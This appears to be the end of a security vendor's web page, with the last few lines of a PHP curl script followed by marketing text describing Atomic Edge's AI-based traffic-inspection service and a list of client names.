        echo "Raw response: $responsen";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School